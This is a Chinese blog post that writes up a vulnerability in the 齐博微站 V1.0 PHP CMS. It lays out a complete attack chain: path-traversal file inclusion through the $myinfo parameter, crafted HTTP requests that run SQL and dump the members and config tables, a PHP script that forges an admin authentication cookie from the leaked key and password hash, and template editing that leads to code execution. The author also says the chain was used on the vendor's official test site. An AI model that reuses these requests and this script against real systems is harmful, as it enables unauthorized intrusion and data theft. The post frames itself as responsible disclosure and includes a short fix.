Created 星期五 8 三月 2019
2019年3月8号 状态:良好 心情:想打球,可是最近一直在下雨

攻击说明

攻击途径:远程网络
攻击复杂度:低
认证:不需要任何用户权限
机密性:完全地
完整性:不受影响
可用性:不受影响
利用接口:http://192.168.98.140/hy/waphomepage.php?uid=1&myinfo=../../../admin/mysql&job=showtable&table=qb_members

问题产生:

齐博微站系统V1.0,齐博手机移动领域的主打产品,安装不同的模块可拓展成不同的系统,借助微信公众号平台可以很好引流聚集人气,本系统主打移动端,模块风格按需安装。
系统前台某位置存在任意php文件包含漏洞,导致程序包含系统后台可执行php文件后而获得系统后台代码的执行权限,所以后台程序代码中如果存在漏洞,那将会是致命的。测试中已经发现可以利用该方式来执行sql语句;获取数据库结构与数据;进入管理员后台;以至于最后的任意代码执行。

0x01.前台漏洞代码位置:

漏洞代码位置:\WWW\hy\waphomepage.php 第60-99行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$myinfo||$myinfo="main"; //$myinfo参数可以直接请求提交

$titleDB[title] = $conf['metatitle']?$conf['metatitle']:filtrate(strip_tags($rsdb['title']));
$titleDB[keywords] = $conf['metakeywords']?$conf['metakeywords']:filtrate(strip_tags($webdb['SEO_keywords']));
$titleDB[description] = $conf['metadescription']?$conf['metadescription']:strip_tags($webdb['SEO_description']);

if($myinfo=="main"){
$db->query("UPDATE {$_pre}home SET hits=hits+1,visitor='$conf[visitor]' WHERE uid='$uid' ");
$db->query("UPDATE {$_pre}company set hits=hits+1,lastview='$timestamp' WHERE uid='$uid'");
}
//输出
$keyword = filtrate($keyword);


require(get_my_waptpl("config"));//获取默认参数
require(get_my_waptpl("myconfig"));//获取默认参数

$styledb1=$db->get_one("SELECT * FROM {$_pre}style WHERE uid='$uid' AND type='2' AND stylename='$stylename'");
$mystyledb = unserialize(stripslashes($styledb1[config]));

$mystyledb||$mystyledb=$defulatstyle;
foreach($defulatstyle AS $key=>$value){
if(is_array($value)){
foreach($value AS $keys=>$values){
//$mystyledb[$key][$keys]||$mystyledb[$key][$keys]=$values;
}
}else{
$mystyledb[$key]||$mystyledb[$key]=$value;
}
}

//得到各参数的真实地址
unset($array1);
$array1=formatstyle($mystyledb);
unset($mystyledb);
$mystyledb=$array1;

require(get_my_waptpl("head"));
require(get_my_waptpl($myinfo)); //
require(get_my_waptpl("foot"));

代码分析:由于系统变量重置的特性,$myinfo参数可以直接请求中设置,之后require(get_my_waptpl($myinfo));程序require函数get_my_waptpl返回的文件路径。我们跟进到get_my_waptpl方法中.
代码位置:\WWW\hy\global.php 第312-322行:

1
2
3
4
5
6
7
8
9
10
11
//风格调用文件
function get_my_waptpl($file){
global $stylename;
if(is_file(Mpath."wapstyle/{$stylename}/{$file}.php")){
return Mpath."wapstyle/{$stylename}/{$file}.php";
}elseif(is_file(Mpath."wapstyle/default/{$file}.php")){
return Mpath."wapstyle/default/{$file}.php";
}else{
return Mpath."wapstyle/default/none.php";
}
}

代码分析:之前的分析可以得知,$file变量可以在请求中任意设定,如果$file变量设置为“../../../”这样的跨目录地址,那么该段程序返回了任意php可执行代码的相对路径地址。于是我们想跨目录引用到具有高权限操作的系统功能代码,下面我们就去找程序中可以利用的php文件有哪些。

0x02 后台功能代码分析

执行sql语句位置:admin\label\mysql.php 第1-30行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
!function_exists('html') && exit('ERR');
if($action=='mod'){
$sqlmin=intval($start_num)-1; $sqlmin<0 && $sqlmin=0;

$postdb[tplpart_1code]=StripSlashes($tplpart_1);
$postdb[tplpart_2code]=StripSlashes($tplpart_2);

$postdb[tplpart_1code]=En_TruePath($postdb[tplpart_1code]);

$SQL=StripSlashes($my_sql);
if(eregi('delete',$SQL)||eregi('update',$SQL)||eregi('TRUNCATE',$SQL)||eregi('DROP',$SQL)||eregi('INSERT',$SQL)){
showmsg('MYSQL有误!');
}

$db->query($SQL);
$msg=ob_get_contents();

if(eregi('^数据库连接出错',$msg)){
ob_end_clean();
showmsg("Mysql语句有误,错误报告如下:<br><font color=red>$msg</font>");
}

构造请求数据包:

1
2
3
4
5
6
7
8
9
10
11
12
POST /hy/waphomepage.php?uid=1&myinfo=../../../admin/label/mysql&lfj=index&action=mod&start_num=2&tplpart_1=1&tplpart_2=2 HTTP/1.1
Host: 192.168.98.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: S[loginName]=test; ECS[visit_times]=7;
Upgrade-Insecure-Requests: 1
Content-Length: 31

my_sql=select/**/sleep(10)

另外在后台代码中发现一处可以查看数据库中数据内容的系统功能代码,于是利用该功能查看数据库中的任意表内容:\WWW\admin\mysql.php 第189-239行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
elseif($job=='showtable'){
$listdb = $titledb = '';
$rows=30;
if($page<1){
$page=1;
}
$min = ($page-1)*$rows;

$SQL='';

if($keyword && $selects){
if($types){
$SQL=" WHERE `$selects`='$keyword'";
}else{
$SQL=" WHERE binary `$selects` LIKE '%$keyword%'";
}
}

if($ordertype && $orderby){
$SQL.=" ORDER BY $ordertype $orderby";
}

$query=$db->query("SELECT * FROM `$table` $SQL limit $min,$rows");
$num=mysql_num_fields($query);
for($i=0;$i<$num;$i++){
$f_db=mysql_fetch_field($query,$i);
$titledb[]=$f_db->name;
}

while ($array=mysql_fetch_row($query)){
for($i=0;$i<$num;$i++){
if(strlen($array[$i])>32){
$array[$i] = str_replace(array('<','>','&nbsp;'),array('&lt;','&gt;','&amp;nbsp;'),$array[$i]);
$array[$i] = "<textarea name='textfield' style='width:300px;height:50px'>{$array[$i]}</textarea>";
}elseif(is_null($array[$i])){
$array[$i] = 'NULL';
}elseif($array[$i] == ''){
$array[$i] = '&nbsp;';
}
}
$listdb[]=$array;
}

if(!$listdb){
//showmsg('当前数据表内容为空!');
}

$showpage = getpage("`$table`","$SQL","index.php?lfj=$lfj&job=$job&table=$table&ordertype=$ordertype&orderby=$orderby&keyword=$keyword&selects=$selects&types=$types",$rows);

require(dirname(__FILE__)."/"."template/mysql/showtable.htm");
}

构造请求数据包:

1
2
3
4
5
6
7
8
GET /hy/waphomepage.php?uid=1&myinfo=../../../admin/mysql&job=showtable&table=qb_members HTTP/1.1
Host: 192.168.98.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie:
Upgrade-Insecure-Requests: 1

漏洞效果:
kzPdSI.md.png

0x03 登录系统后台:

这里说明一下,如果管理员的账户密码如果能解开的话,就可以利用获取到的管理员账户,直接登录。如果管理员密码的md5值解不开,那么便要利用下面的方法,登录到系统后台。
后台的认证方式采用自行的加密解密算法进行认证。该算法是对称加解密算法,通过以上漏洞获取到管理员账户登录密码的MD5值后,是否能生成管理员身份认证加密串的关键在于获取到加密密钥。通过分析发现该密钥串同样存放在数据库中,查看qb_config表我们可以得到该密钥串,于是根据加解密算法,我们可以编写脚本生成该管理员身份认证的加密串。

获取qb_config表中的密钥:

http://192.168.98.140/hy/waphomepage.php?uid=1&myinfo=../../../admin/mysql&job=showtable&table=qb_config&page=11
kzPBOf.md.png

脚本文件如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
/**
*加密与解密函数
**/
$webdb['mymd5'] = 'h6mhwa5ufc';//在qb_config表中获取到的加密密钥
function mymd5($string,$action="EN",$rand=''){ //字符串加密和解密
global $webdb;
if($action=="DE"){//处理+号在URL传递过程中会异常
$string = str_replace('QIBO|ADD','+',$string);
}
$secret_string = $webdb['mymd5'].$rand.'5*j,.^&;?.%#@!'; //绝密字符串,可以任意设定
if(!is_string($string)){
$string=strval($string);
}
if($string==="") return "";
if($action=="EN") $md5code=substr(md5($string),8,10);
else{
$md5code=substr($string,-10);
$string=substr($string,0,strlen($string)-10);
}
//$key = md5($md5code.$_SERVER["HTTP_USER_AGENT"].$secret_string);
$key = md5($md5code.$secret_string);
$string = ($action=="EN"?$string:base64_decode($string));
$len = strlen($key);
$code = "";
for($i=0; $i<strlen($string); $i++){
$k = $i%$len;
$code .= $string[$i]^$key[$k];
}
$code = ($action == "DE" ? (substr(md5($code),8,10)==$md5code?$code:NULL) : base64_encode($code)."$md5code");
if($action=="EN"){//处理+号在URL传递过程中会异常
$code = str_replace('+','QIBO|ADD',$code);
}
return $code;
}
/***
加密程序逻辑;
*/
//在表qb_members中获取到的管理员账户信息;
$username='admin';
$uid=1;
$password='ebcbf97ec1d80c0388d39bf508039baa';

$_COOKIE['Admin']="$uid\t".mymd5($password,'EN',md5($webdb['mymd5']));
setcookie("Admin",$_COOKIE['Admin'],0,"/");
echo 'Admin='.$_COOKIE['Admin'];

?>

请求后会得到管理员认证串,此处注意如下图所示,字符串中的空格替换为制表符\t(即%09):
kziGj0.md.png
设置把生成的加密串设置到cookie后,于是便可以直接访问管理员后台:
kzitBT.md.png
利用同样的方式,我们进入到了官方测试站点的系统后台:
kziNHU.md.png

0x04 任意代码执行:

通过以上的操作,我们获取到了管理员后台的操作权限,之后通过后台执行任意代码,获取权限吧:
在后台功能中,插件管理=>风格/模板设置=>模板设置=>设置主页模板。这里我们修改主页的htm模板文件,增加测试代码:
kziaEF.md.png
修改成功这个模板文件后,因为web系统运行时,程序require该htm模板文件,于是我们增加的代码也同样会被执行:
kziw4J.md.png

漏洞POC

http://x.x.x.x/hy/waphomepage.php?uid=1&myinfo=../../../admin/mysql&job=showtable&table=qb_members

修复建议

1.在前台代码中,过滤问题参数$myinfo,设置为不允许跨目录引用。


注:该漏洞博主已提交到阿里先知众测平台